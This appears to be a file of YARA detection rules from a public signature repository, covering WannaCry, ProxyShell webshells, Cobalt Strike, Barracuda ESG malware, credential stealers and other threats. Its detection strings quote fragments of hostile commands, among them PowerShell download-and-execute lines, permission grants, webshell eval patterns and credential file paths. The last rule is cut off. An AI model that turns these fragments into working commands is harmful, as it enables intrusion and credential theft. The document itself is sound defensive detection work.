// From https://github.com/Neo23x0/signature-base
// Detection Rule License (DRL) 1.1 - https://raw.githubusercontent.com/Neo23x0/signature-base/master/LICENSE
rule WannaCry_Ransomware
{
	meta:
		description = "Detects WannaCry Ransomware"
		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
		reference = "https://goo.gl/HG2j5T"
		date = "2017-05-12"
		hash1 = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"
		id = "2e46b4db-8c94-53ed-ae27-31dd37b04940"

	strings:
		$x1 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
		$x2 = "taskdl.exe" fullword ascii
		$x3 = "tasksche.exe" fullword ascii
		$x4 = "Global\\MsWinZonesCacheCounterMutexA" fullword ascii
		$x5 = "WNcry@2ol7" fullword ascii
		$x6 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii
		$x7 = "mssecsvc.exe" fullword ascii
		$x8 = "C:\\%s\\qeriuwjhrf" fullword ascii
		$x9 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
		$s1 = "C:\\%s\\%s" fullword ascii
		$s2 = "<!-- Windows 10 --> " fullword ascii
		$s3 = "cmd.exe /c \"%s\"" fullword ascii
		$s4 = "msg/m_portuguese.wnry" fullword ascii
		$s5 = "\\\\192.168.56.20\\IPC$" fullword wide
		$s6 = "\\\\172.16.99.5\\IPC$" fullword wide
		$op1 = { 10 ac 72 0d 3d ff ff 1f ac 77 06 b8 01 00 00 00 }
		$op2 = { 44 24 64 8a c6 44 24 65 0e c6 44 24 66 80 c6 44 }
		$op3 = { 18 df 6c 24 14 dc 64 24 2c dc 6c 24 5c dc 15 88 }
		$op4 = { 09 ff 76 30 50 ff 56 2c 59 59 47 3b 7e 0c 7c }
		$op5 = { c1 ea 1d c1 ee 1e 83 e2 01 83 e6 01 8d 14 56 }
		$op6 = { 8d 48 ff f7 d1 8d 44 10 ff 23 f1 23 c1 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and ( 1 of ( $x* ) and 1 of ( $s* ) or 3 of ( $op* ) )
}

rule WannaCry_Ransomware_Gen
{
	meta:
		description = "Detects WannaCry Ransomware"
		author = "Florian Roth (Nextron Systems) (based on rule by US CERT)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA17-132A"
		date = "2017-05-12"
		hash1 = "9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05"
		hash2 = "8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df"
		hash3 = "4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359"
		id = "d28d3d76-9c24-5476-9a0c-936c17477d6a"

	strings:
		$s1 = "__TREEID__PLACEHOLDER__" ascii
		$s2 = "__USERID__PLACEHOLDER__" ascii
		$s3 = "Windows for Workgroups 3.1a" fullword ascii
		$s4 = "PC NETWORK PROGRAM 1.0" fullword ascii
		$s5 = "LANMAN1.0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and all of them
}

rule WannCry_m_vbs
{
	meta:
		description = "Detects WannaCry Ransomware VBS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HG2j5T"
		date = "2017-05-12"
		hash1 = "51432d3196d9b78bdc9867a77d601caffd4adaa66dcac944a5ba0b3112bbea3b"
		id = "a8f13bd2-984d-5c8c-ac53-7d442e222850"

	strings:
		$x1 = ".TargetPath = \"C:\\@" ascii
		$x2 = ".CreateShortcut(\"C:\\@" ascii
		$s3 = " = WScript.CreateObject(\"WScript.Shell\")" ascii

	condition:
		( uint16( 0 ) == 0x4553 and filesize < 1KB and all of them )
}

rule WannCry_BAT
{
	meta:
		description = "Detects WannaCry Ransomware BATCH File"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HG2j5T"
		date = "2017-05-12"
		hash1 = "f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077"
		id = "0929f0de-28ac-5534-a6fd-7b131abda011"

	strings:
		$s1 = "@.exe\">> m.vbs" ascii
		$s2 = "cscript.exe //nologo m.vbs" fullword ascii
		$s3 = "echo SET ow = WScript.CreateObject(\"WScript.Shell\")> " ascii
		$s4 = "echo om.Save>> m.vbs" fullword ascii

	condition:
		( uint16( 0 ) == 0x6540 and filesize < 1KB and 1 of them )
}

rule WannaCry_RansomNote
{
	meta:
		description = "Detects WannaCry Ransomware Note"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/HG2j5T"
		date = "2017-05-12"
		hash1 = "4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e"
		id = "65ce8faf-0981-5382-bc15-f094ccaa9f54"

	strings:
		$s1 = "A:  Don't worry about decryption." fullword ascii
		$s2 = "Q:  What's wrong with my files?" fullword ascii

	condition:
		( uint16( 0 ) == 0x3a51 and filesize < 2KB and all of them )
}

rule APT_lazaruswannacry
{
	meta:
		description = "Rule based on shared code between Feb 2017 Wannacry sample and Lazarus backdoor from Feb 2015 discovered by Neel Mehta"
		date = "2017-05-15"
		reference = "https://twitter.com/neelmehta/status/864164081116225536"
		author = "Costin G. Raiu, Kaspersky Lab"
		version = "1.0"
		hash = "9c7c7149387a1c79679a87dd1ba755bc"
		hash = "ac21c8ad899727137c4b94458d7aa8d8"
		id = "e9dd9750-2366-503a-a879-972dbead6bf3"

	strings:
		$a1 = { 51 53 55 8B 6C 24 10 56 57 6A 20 8B 45 00 8D 75
         04 24 01 0C 01 46 89 45 00 C6 46 FF 03 C6 06 01 46
         56 E8 }
		$a2 = { 03 00 04 00 05 00 06 00 08 00 09 00 0A 00 0D 00
         10 00 11 00 12 00 13 00 14 00 15 00 16 00 2F 00
         30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00
         38 00 39 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00
         44 00 45 00 46 00 62 00 63 00 64 00 66 00 67 00
         68 00 69 00 6A 00 6B 00 84 00 87 00 88 00 96 00
         FF 00 01 C0 02 C0 03 C0 04 C0 05 C0 06 C0 07 C0
         08 C0 09 C0 0A C0 0B C0 0C C0 0D C0 0E C0 0F C0
         10 C0 11 C0 12 C0 13 C0 14 C0 23 C0 24 C0 27 C0
         2B C0 2C C0 FF FE }

	condition:
		uint16( 0 ) == 0x5A4D and filesize < 15000000 and all of them
}

rule EXPL_Exchange_ProxyShell_Failed_Aug21_1 : SCRIPT
{
	meta:
		description = "Detects ProxyShell exploitation attempts in log files"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
		date = "2021-08-08"
		modified = "2021-08-09"
		id = "9b849042-8918-5322-a35a-2165d4b541d5"

	strings:
		$xr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|mapi\/nspi|EWS\/|X-Rps-CAT)[^\n]{1,400}401 0 0/ nocase ascii
		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}401 0 0/ nocase ascii

	condition:
		1 of them
}

rule EXPL_Exchange_ProxyShell_Successful_Aug21_1 : SCRIPT
{
	meta:
		description = "Detects successful ProxyShell exploitation attempts in log files"
		author = "Florian Roth (Nextron Systems)"
		score = 85
		reference = "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html"
		date = "2021-08-08"
		modified = "2021-08-09"
		id = "8c11cd1a-6d3f-5f29-af61-17179b01ca8b"

	strings:
		$xr1a = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(powershell|X-Rps-CAT)/ nocase ascii
		$xr1b = / \/autodiscover\/autodiscover\.json[^\n]{1,300}\/(mapi\/nspi|EWS\/)[^\n]{1,400}(200|302) 0 0/
		$xr2 = /autodiscover\/autodiscover\.json[^\n]{1,60}&X-Rps-CAT=/ nocase ascii
		$xr3 = /Email=autodiscover\/autodiscover\.json[^\n]{1,400}200 0 0/ nocase ascii

	condition:
		1 of them
}

rule WEBSHELL_ASPX_ProxyShell_Aug21_2
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST), size and content"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/"
		date = "2021-08-13"
		id = "a351a466-695e-570e-8c7f-9c6c0534839c"

	strings:
		$s1 = "Page Language=" ascii nocase

	condition:
		uint32( 0 ) == 0x4e444221 and filesize < 2MB and $s1
}

rule WEBSHELL_ASPX_ProxyShell_Aug21_3
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be DER), size and content"
		author = "Max Altgelt"
		reference = "https://twitter.com/gossithedog/status/1429175908905127938?s=12"
		date = "2021-08-23"
		score = 75
		id = "a7bca62b-c8f1-5a38-81df-f3d4582a590b"

	strings:
		$s1 = "Page Language=" ascii nocase

	condition:
		uint16( 0 ) == 0x8230 and filesize < 10KB and $s1
}

rule WEBSHELL_ASPX_ProxyShell_Sep21_1
{
	meta:
		description = "Detects webshells dropped by ProxyShell exploitation based on their file header (must be PST) and base64 decoded request"
		author = "Tobias Michalski"
		date = "2021-09-17"
		reference = "Internal Research"
		hash = "219468c10d2b9d61a8ae70dc8b6d2824ca8fbe4e53bbd925eeca270fef0fd640"
		score = 75
		id = "d0d23e17-6b6a-51d1-afd9-59cc2404bcd8"

	strings:
		$s = ".FromBase64String(Request["

	condition:
		uint32( 0 ) == 0x4e444221 and any of them
}

rule APT_IIS_Config_ProxyShell_Artifacts
{
	meta:
		description = "Detects virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
		date = "2021-08-25"
		score = 90
		id = "21888fc0-82c6-555a-9320-9cbb8332a843"

	strings:
		$a1 = "<site name=" ascii
		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
		$sa1 = " physicalPath=\"C:\\ProgramData\\COM" ascii
		$sa2 = " physicalPath=\"C:\\ProgramData\\WHO" ascii
		$sa3 = " physicalPath=\"C:\\ProgramData\\ZING" ascii
		$sa4 = " physicalPath=\"C:\\ProgramData\\ZOO" ascii
		$sa5 = " physicalPath=\"C:\\ProgramData\\XYZ" ascii
		$sa6 = " physicalPath=\"C:\\ProgramData\\AUX" ascii
		$sa7 = " physicalPath=\"C:\\ProgramData\\CON\\" ascii
		$sb1 = " physicalPath=\"C:\\Users\\All Users\\" ascii

	condition:
		filesize < 500KB and all of ( $a* ) and 1 of ( $s* )
}

rule WEBSHELL_ASPX_ProxyShell_Exploitation_Aug21_1
{
	meta:
		description = "Detects unknown malicious loaders noticed in August 2021"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/VirITeXplorer/status/1430206853733097473"
		date = "2021-08-25"
		score = 90
		id = "1fa563fc-c91c-5f4e-98f1-b895e1acb4f4"

	strings:
		$x1 = ");eval/*asf" ascii

	condition:
		filesize < 600KB and 1 of them
}

rule WEBSHELL_ASPX_ProxyShell_Aug15
{
	meta:
		description = "Webshells iisstart.aspx and Logout.aspx"
		author = "Moritz Oettle"
		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
		date = "2021-09-04"
		score = 75
		id = "b1e6c0f3-787f-59b8-8123-4045522047ca"

	strings:
		$g1 = "language=\"JScript\"" ascii
		$g2 = "function getErrorWord" ascii
		$g3 = "errorWord" ascii
		$g4 = "Response.Redirect" ascii
		$g5 = "function Page_Load" ascii
		$g6 = "runat=\"server\"" ascii
		$g7 = "Request[" ascii
		$g8 = "eval/*" ascii
		$s1 = "AppcacheVer" ascii
		$s2 = "clientCode" ascii
		$s3 = "LaTkWfI64XeDAXZS6pU1KrsvLAcGH7AZOQXjrFkT816RnFYJQR" ascii

	condition:
		filesize < 1KB and ( 1 of ( $s* ) or 4 of ( $g* ) )
}

rule WEBSHELL_Mailbox_Export_PST_ProxyShell_Aug26
{
	meta:
		description = "Webshells generated by an Mailbox export to PST and stored as aspx: 570221043.aspx 689193944.aspx luifdecggoqmansn.aspx"
		author = "Moritz Oettle"
		reference = "https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell"
		date = "2021-09-04"
		score = 85
		id = "6aea414f-d27c-5202-84f8-b8620782fc90"

	strings:
		$x1 = "!BDN"
		$g1 = "Page language=" ascii
		$g2 = "<%@ Page" ascii
		$g3 = "Request.Item[" ascii
		$g4 = "\"unsafe\");" ascii
		$g5 = "<%eval(" ascii
		$g6 = "script language=" ascii
		$g7 = "Request[" ascii
		$s1 = "gold8899" ascii
		$s2 = "exec_code" ascii
		$s3 = "orangenb" ascii

	condition:
		filesize < 500KB and $x1 at 0 and ( 1 of ( $s* ) or 3 of ( $g* ) )
}

rule SUSP_IIS_Config_ProxyShell_Artifacts
{
	meta:
		description = "Detects suspicious virtual directory configured in IIS pointing to a ProgramData folder (as found in attacks against Exchange servers in August 2021)"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
		date = "2021-08-25"
		score = 70
		id = "bde65d9e-b17d-5746-8d29-8419363d0511"

	strings:
		$a1 = "<site name=" ascii
		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
		$s1 = " physicalPath=\"C:\\ProgramData\\" ascii

	condition:
		filesize < 500KB and all of ( $a* ) and 1 of ( $s* )
}

rule SUSP_IIS_Config_VirtualDir
{
	meta:
		description = "Detects suspicious virtual directory configured in IIS pointing to a User folder"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.huntress.com/blog/rapid-response-microsoft-exchange-servers-still-vulnerable-to-proxyshell-exploit"
		date = "2021-08-25"
		modified = "2022-09-17"
		score = 60
		id = "cfe5ca5e-a0cc-5f60-84d2-1b0538e999c7"

	strings:
		$a1 = "<site name=" ascii
		$a2 = "<sectionGroup name=\"system.webServer\">" ascii
		$s2 = " physicalPath=\"C:\\Users\\" ascii
		$fp1 = "Microsoft.Web.Administration" wide
		$fp2 = "<virtualDirectory path=\"/\" physicalPath=\"C:\\Users\\admin\\"

	condition:
		filesize < 500KB and all of ( $a* ) and 1 of ( $s* ) and not 1 of ( $fp* )
}

rule SUSP_ASPX_PossibleDropperArtifact_Aug21
{
	meta:
		description = "Detects an ASPX file with a non-ASCII header, often a result of MS Exchange drop techniques"
		reference = "Internal Research"
		author = "Max Altgelt"
		date = "2021-08-23"
		score = 60
		id = "52016598-74a1-53d6-812a-40b078ba0bb9"

	strings:
		$s1 = "Page Language=" ascii nocase
		$fp1 = "Page Language=\"java\"" ascii nocase

	condition:
		filesize < 500KB and not uint16( 0 ) == 0x4B50 and not uint16( 0 ) == 0x6152 and not uint16( 0 ) == 0x8b1f and not uint16( 0 ) == 0x5A4D and not uint16( 0 ) == 0xCFD0 and not uint16( 0 ) == 0xC3D4 and not uint16( 0 ) == 0x534D and all of ( $s* ) and not 1 of ( $fp* ) and ( ( ( uint8( 0 ) < 0x20 or uint8( 0 ) > 0x7E ) and uint8( 0 ) != 0x9 and uint8( 0 ) != 0x0D and uint8( 0 ) != 0x0A and uint8( 0 ) != 0xEF ) or ( ( uint8( 1 ) < 0x20 or uint8( 1 ) > 0x7E ) and uint8( 1 ) != 0x9 and uint8( 1 ) != 0x0D and uint8( 1 ) != 0x0A and uint8( 1 ) != 0xBB ) or ( ( uint8( 2 ) < 0x20 or uint8( 2 ) > 0x7E ) and uint8( 2 ) != 0x9 and uint8( 2 ) != 0x0D and uint8( 2 ) != 0x0A and uint8( 2 ) != 0xBF ) or ( ( uint8( 3 ) < 0x20 or uint8( 3 ) > 0x7E ) and uint8( 3 ) != 0x9 and uint8( 3 ) != 0x0D and uint8( 3 ) != 0x0A ) or ( ( uint8( 4 ) < 0x20 or uint8( 4 ) > 0x7E ) and uint8( 4 ) != 0x9 and uint8( 4 ) != 0x0D and uint8( 4 ) != 0x0A ) or ( ( uint8( 5 ) < 0x20 or uint8( 5 ) > 0x7E ) and uint8( 5 ) != 0x9 and uint8( 5 ) != 0x0D and uint8( 5 ) != 0x0A ) or ( ( uint8( 6 ) < 0x20 or uint8( 6 ) > 0x7E ) and uint8( 6 ) != 0x9 and uint8( 6 ) != 0x0D and uint8( 6 ) != 0x0A ) or ( ( uint8( 7 ) < 0x20 or uint8( 7 ) > 0x7E ) and uint8( 7 ) != 0x9 and uint8( 7 ) != 0x0D and uint8( 7 ) != 0x0A ) )
}

rule WEBSHELL_ProxyShell_Exploitation_Nov21_1
{
	meta:
		description = "Detects webshells dropped by DropHell malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.deepinstinct.com/blog/do-not-exchange-it-has-a-shell-inside"
		date = "2021-11-01"
		score = 85
		id = "300eaadf-db0c-5591-84fc-abdf7cdd90c1"

	strings:
		$s01 = ".LoadXml(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request[" ascii wide
		$s02 = "new System.IO.MemoryStream()" ascii wide
		$s03 = "Transform(" ascii wide

	condition:
		all of ( $s* )
}

rule EXPL_Keepass_CVE_2023_24055_Jan23
{
	meta:
		description = "Detects suspicious entries in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
		date = "2023-01-25"
		score = 75
		id = "2c031919-da19-5fd0-b21a-2e83679ad1e3"

	strings:
		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
		$x1 = "<Parameter>KeePass XML (2.x)</Parameter>"
		$x2 = "::ReadAllBytes("
		$x3 = " -Method "
		$x4 = " bypass "
		$x5 = "powershell" nocase ascii wide fullword

	condition:
		filesize < 200KB and $a1 and 1 of ( $x* )
}

rule SUSP_Keepass_CVE_2023_24055_Jan23
{
	meta:
		description = "Detects suspicious triggers defined in the Keepass configuration file, which could be indicator of the exploitation of CVE-2023-24055"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/alt3kx/CVE-2023-24055_PoC"
		date = "2023-01-25"
		score = 60
		id = "4ff1a93f-f7f0-528d-9e07-402e321a0ffe"

	strings:
		$a1 = "<TriggerCollection xmlns:xsi=" ascii wide
		$s1 = "<Action>" ascii wide
		$s2 = "<Parameter>" ascii wide

	condition:
		filesize < 200KB and $a1 and all of ( $s* )
}

import "pe"

rule APT12_Malware_Aug17
{
	meta:
		description = "Detects APT 12 Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.macnica.net/blog/2017/08/post-fb81.html"
		date = "2017-08-30"
		hash1 = "dc7521c00ec2534cf494c0263ddf67ea4ba9915eb17bdc0b3ebe9e840ec63643"
		hash2 = "42da51b69bd6625244921a4eef9a2a10153e012a3213e8e9877cf831aea3eced"
		id = "6c9cd68f-b839-5c99-a9f5-14c2d8a28bec"

	condition:
		( uint16( 0 ) == 0x5a4d and pe.imphash ( ) == "9ba915fd04f248ad62e856c7238c0264" )
}

rule MAL_ELF_ReverseShell_SSLShell_Jun23_1
{
	meta:
		description = "Detects reverse shell named SSLShell used in Barracuda ESG exploitation (CVE-2023-2868)"
		author = "Florian Roth"
		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
		date = "2023-06-07"
		score = 75
		hash1 = "8849a3273e0362c45b4928375d196714224ec22cb1d2df5d029bf57349860347"
		id = "91b34eb7-61d2-592e-a444-249da43994ca"

	strings:
		$sc1 = { 00 2D 63 00 2F 62 69 6E 2F 73 68 00 }
		$s1 = "SSLShell"

	condition:
		uint32be( 0 ) == 0x7f454c46 and uint16( 0x10 ) == 0x0002 and filesize < 5MB and all of them
}

rule MAL_ELF_SALTWATER_Jun23_1
{
	meta:
		description = "Detects SALTWATER malware used in Barracuda ESG exploitations (CVE-2023-2868)"
		author = "Florian Roth"
		reference = "https://www.barracuda.com/company/legal/esg-vulnerability"
		date = "2023-06-07"
		score = 80
		hash1 = "601f44cc102ae5a113c0b5fe5d18350db8a24d780c0ff289880cc45de28e2b80"
		id = "10a038f6-6096-5d3a-aaf5-db441685102b"

	strings:
		$x1 = "libbindshell.so"
		$s1 = "ShellChannel"
		$s2 = "MyWriteAll"
		$s3 = "CheckRemoteIp"
		$s4 = "run_cmd"
		$s5 = "DownloadByProxyChannel"
		$s6 = "[-] error: popen failed"
		$s7 = "/home/product/code/config/ssl_engine_cert.pem"

	condition:
		uint16( 0 ) == 0x457f and filesize < 6000KB and ( ( 1 of ( $x* ) and 2 of them ) or 3 of them ) or all of them
}

rule HKTL_Solarwinds_credential_stealer
{
	meta:
		description = "Detects solarwinds credential stealers like e.g. solarflare via the touched certificate, files and database columns"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"
		reference = "https://github.com/mubix/solarflare"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-20"
		hash = "1b2e5186464ed0bdd38fcd9f4ab294a7ba28bd829bf296584cbc32e2889037e4"
		hash = "4adb69d4222c80d97f8d64e4d48b574908a518f8d504f24ce93a18b90bd506dc"
		id = "87dba889-367a-5fc3-b5e0-eb8e3c36a5e9"

	strings:
		$certificate = "CN=SolarWinds-Orion" ascii nocase wide
		$credfile1 = "\\CredentialStorage\\SolarWindsDatabaseAccessCredential" ascii nocase wide
		$credfile2 = "\\KeyStorage\\CryptoHelper\\default.dat" ascii nocase wide
		$credfile3 = "\\Orion\\SWNetPerfMon.DB" ascii nocase wide
		$credfile4 = "\\Orion\\RabbitMQ\\.erlang.cookie" ascii nocase wide
		$sql1 = "encryptedkey" ascii nocase wide fullword
		$sql2 = "protectiontype" ascii nocase wide fullword
		$sql3 = "CredentialProperty" ascii nocase wide fullword
		$sql4 = "passwordhash" ascii nocase wide fullword
		$sql5 = "credentialtype" ascii nocase wide fullword
		$sql6 = "passwordsalt" ascii nocase wide fullword

	condition:
		uint16( 0 ) == 0x5A4D and $certificate and ( 2 of ( $credfile* ) or 5 of ( $sql* ) )
}

rule SeDLL_Javascript_Decryptor
{
	meta:
		description = "Detects SeDll - DLL is used for decrypting and executing another JavaScript backdoor such as Orz"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/MZ7dRg"
		date = "2017-10-18"
		modified = "2023-01-07"
		hash1 = "146aa9a0ec013aa5bdba9ea9d29f59d48d43bc17c6a20b74bb8c521dbb5bc6f4"
		id = "8fafd139-0c4f-5c51-af8f-b4917d2d69b0"

	strings:
		$x1 = "SEDll_Win32.dll" fullword ascii
		$x2 = "regsvr32 /s \"%s\" DR __CIM__" wide
		$s1 = "WScriptW" fullword ascii
		$s2 = "IWScript" fullword ascii
		$s3 = "%s\\%s~%d" fullword wide
		$s4 = "PutBlockToFileWW" fullword ascii
		$s5 = "CheckUpAndDownWW" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and ( 1 of ( $x* ) or 4 of them )
}

rule Leviathan_CobaltStrike_Sample_1
{
	meta:
		description = "Detects Cobalt Strike sample from Leviathan report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/MZ7dRg"
		date = "2017-10-18"
		hash1 = "5860ddc428ffa900258207e9c385f843a3472f2fbf252d2f6357d458646cf362"
		id = "e29072d8-b4ea-5e94-8a1c-0a1baec5f423"

	strings:
		$x1 = "a54c81.dll" fullword ascii
		$x2 = "%d is an x64 process (can't inject x86 content)" fullword ascii
		$x3 = "Failed to impersonate logged on user %d (%u)" fullword ascii
		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
		$s2 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
		$s3 = "could not run command (w/ token) because of its length of %d bytes!" fullword ascii
		$s4 = "could not write to process memory: %d" fullword ascii
		$s5 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" fullword ascii
		$s6 = "Could not connect to pipe (%s): %d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( 1 of ( $x* ) or 3 of them )
}

rule MockDll_Gen
{
	meta:
		description = "Detects MockDll - regsvr DLL loader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/MZ7dRg"
		date = "2017-10-18"
		hash1 = "bfc5c6817ff2cc4f3cd40f649e10cc9ae1e52139f35fdddbd32cb4d221368922"
		hash2 = "80b931ab1798d7d8a8d63411861cee07e31bb9a68f595f579e11d3817cfc4aca"
		id = "904a0649-27e7-5024-aa6b-ddb23bba6202"

	strings:
		$x1 = "mock_run_ini_Win32.dll" fullword ascii
		$x2 = "mock_run_ini_x64.dll" fullword ascii
		$s1 = "RealCmd=%s %s" fullword ascii
		$s2 = "MockModule=%s" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 20KB and ( 1 of ( $x* ) or 2 of them )
}

rule VBScript_Favicon_File
{
	meta:
		description = "VBScript cloaked as Favicon file used in Leviathan incident"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/MZ7dRg"
		date = "2017-10-18"
		modified = "2023-01-06"
		hash1 = "39c952c7e14b6be5a9cb1be3f05eafa22e1115806e927f4e2dc85d609bc0eb36"
		id = "84147d4e-d062-5ba4-8019-6bf4b72c36c6"

	strings:
		$x1 = "myxml = '<?xml version=\"\"1.0\"\" encoding=\"\"UTF-8\"\"?>';myxml = myxml +'<root>" ascii
		$x2 = ".Run \"taskkill /im mshta.exe" ascii
		$x3 = "<script language=\"VBScript\">Window.ReSizeTo 0, 0 : Window.moveTo -2000,-2000 :" ascii
		$s1 = ".ExpandEnvironmentStrings(\"%ALLUSERSPROFILE%\") &" ascii
		$s2 = ".ExpandEnvironmentStrings(\"%temp%\") & " ascii

	condition:
		filesize < 100KB and ( uint16( 0 ) == 0x733c and 1 of ( $x* ) ) or ( 3 of them )
}

rule SUSP_MAL_EXFIL_Stealer_Output_Characteristics_Sep22_1
{
	meta:
		description = "Detects typical stealer output files as created by RedLine or Racoon stealer"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cglyer/status/1570965878480719873"
		date = "2022-09-17"
		score = 70
		hash1 = "8ce14c6b720281f43c75ce52e23ec13d08e7b2be1c5fbc2d704238f1fdd1a07f"
		hash2 = "011c19d18fa446a2619b3a2512dacb2694e1da99a2c2ea7828769f1373ecd8fe"
		hash3 = "418530bc7210f74ada8e7f16b41ea2033054e99f0c4423ce1d3ebf973c89e3a3"
		hash4 = "aa6e2c8447f66527f9b6f4d54f57edc6cabe56095df94dc0656dca02e11356ab"
		hash5 = "bbfb608061931565debac405ffebe3c4bb5dac8042443fe4e80aa03395955bd2"
		hash6 = "c15107beecf3301fb12d140690034717e16bd5312a746e7ff43a7925e5533260"
		id = "c1cab3c3-c4f3-5a19-9ea3-9e4242238359"

	strings:
		$sa1 = "passwords.txt" ascii
		$sa2 = "autofills/" ascii
		$sa3 = "browsers/cookies/" ascii
		$sa4 = "wallets/" ascii
		$sb1 = "Passwords.txt" ascii
		$sb2 = "Autofills/" ascii
		$sb3 = "Browsers/Cookies/" ascii
		$sb4 = "Wallets/" ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 5000KB and ( 2 of ( $sa* ) or 2 of ( $sb* ) )
}

rule APT_ArtraDownloader2_Aug19_1
{
	meta:
		description = "Detects ArtraDownloader malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://unit42.paloaltonetworks.com/multiple-artradownloader-variants-used-by-bitter-to-target-pakistan/"
		date = "2019-08-27"
		hash1 = "f0ef4242cc6b8fa3728b61d2ce86ea934bd59f550de9167afbca0b0aaa3b2c22"
		id = "0e688e92-2366-5f36-a32d-083982181eb7"

	strings:
		$xc1 = { 47 45 54 20 25 73 20 48 54 54 50 2F 31 2E 30 00
               0D 0A 00 00 48 6F 73 74 3A 20 25 73 00 00 00 00
               3F 61 3D 00 26 62 3D 00 26 63 3D 00 26 64 3D 00
               26 65 3D 00 25 32 30 }
		$xc2 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 25 73 20
               25 64 0D 0A 0D 0A 25 73 00 00 00 00 71 72 79 3D }
		$xc3 = { 49 44 3D 25 73 00 00 00 3A 00 00 00 25 73 20 25
               73 20 25 73 0D 0A 25 73 20 25 73 0D 0A 25 73 25
               73 0D 0A 25 73 25 73 0D 0A 43 6F 6E 74 65 6E 74
               2D 6C 65 6E 67 74 68 25 73 20 25 64 }
		$xc4 = { 25 73 20 25 73 20 25 73 0D 0A 25 73 20 25 73 0D
               0A 25 73 25 73 0D 0A 25 73 25 73 0D 0A 43 6F 6E
               74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 25 64 0D
               0A 0D 0A 25 73 }
		$x1 = "Tpguxbsf]Njdsptpgu" ascii
		$x2 = ".gpsn.vsmfodpefe" ascii

